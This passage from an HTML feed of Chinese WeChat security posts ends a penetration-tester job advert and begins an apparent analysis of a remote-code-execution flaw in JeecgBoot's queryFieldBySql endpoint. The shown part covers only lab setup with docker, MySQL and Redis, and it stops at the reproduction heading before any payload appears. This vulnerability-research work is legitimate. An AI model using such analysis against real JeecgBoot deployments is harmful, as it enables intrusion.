&#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">能够熟练使用主流渗透测试工具，如 </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Nessus</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Nmap</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Acunetix</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Burp Suite</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Sqlmap</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Wireshark</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">AWVS</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">Metasploit</span></strong><span leaf=""> 等。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">熟练掌握至少一门编程语言。</span></span></p></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">4.</span></span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">综合素质</span></strong><span leaf="">：</span><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">具备良好的语言表达能力和文档组织能力。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">具备良好的团队合作精神。</span></span></p></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">5.</span></span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">优先条件</span></strong><span leaf="">：</span><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">拥有相关认证证书（如 </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">CISSP</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">CISA</span></strong><span leaf=""> 等）、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">CVE</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">CNVD</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">CNNVD</span></strong><span leaf=""> 漏洞提交证明或攻防竞赛获奖者优先。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">具备代码审计、攻防项目或 </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">CTF</span></strong><span leaf=""> 竞赛经验者优先。</span></span></p></span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">联系人</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">微信: sanzhang0725</span></strong></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485722">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4d77d4f6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485722%26idx%3D2%26sn%3D0172efd16cda28f974bb7a289b284358">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 26 Jul 2025 09:09:00 +0800</pubDate>
    </item>
    <item>
      <title>jeecg boot queryFieldBySql RCE漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485714&amp;idx=1&amp;sn=d2721f2a3ceb2471b5a257e93513b64f</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>kkk</span> <span>2025-02-08 16:59</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=858e5f94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1ezgUbytNSX4hX79bFqAZuCDP0ibRr85MYAB7RZCXsB1tLlGKzcxkKSfuxLzV8dgZZMolCfGlrAqbg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">环境搭建</span></h2><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">后端</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">源码地址:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf=""><a href="https://github.com/jeecgboot/JeecgBoot" target="_blank">https://github.com/jeecgboot/JeecgBoot</a></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">找到v3.5.3的commit，创建一个分支</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="image-20250108162704224" class="rich_pages wxw-img" data-imgfileid="100002055" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5ae80e9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ezgUbytNSX4hX79bFqAZuCnYqmAWIvYuicKZQ7eNrpaGJ8XQpYscqyeGpNEo7Pn3niaB9LiarCsMUYA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">安装Maven依赖</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">数据库配置文件: </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">jeecg-module-system/jeecg-system-start/src/main/resources/application-dev.yml</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">启动mysql: </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">docker run -itd --name jeecg_mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.7</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">解决</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Table &#39;test.QRTZ_TRIGGERS&#39; doesn&#39;t exist</span></code><span leaf="">问题</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">docker cp jeecg_mysql:/etc/my.cnf my.cnf</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">[mysqld]下面加入</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">lower_case_table_names=1</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">docker cp my.cnf jeecg_mysql:/etc/my.cnf</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">重启mysql</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">导入数据库: </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">jeecg-boot/db/jeecgboot-mysql-5.7.sql</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">启动redis: </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">docker run -itd -p 6379:6379 --name jeecg_redis redis</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">启动项目: </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">jeecg-system-start/src/main/java/org/jeecg/JeecgSystemApplication.java</span></code></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">漏洞复现</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 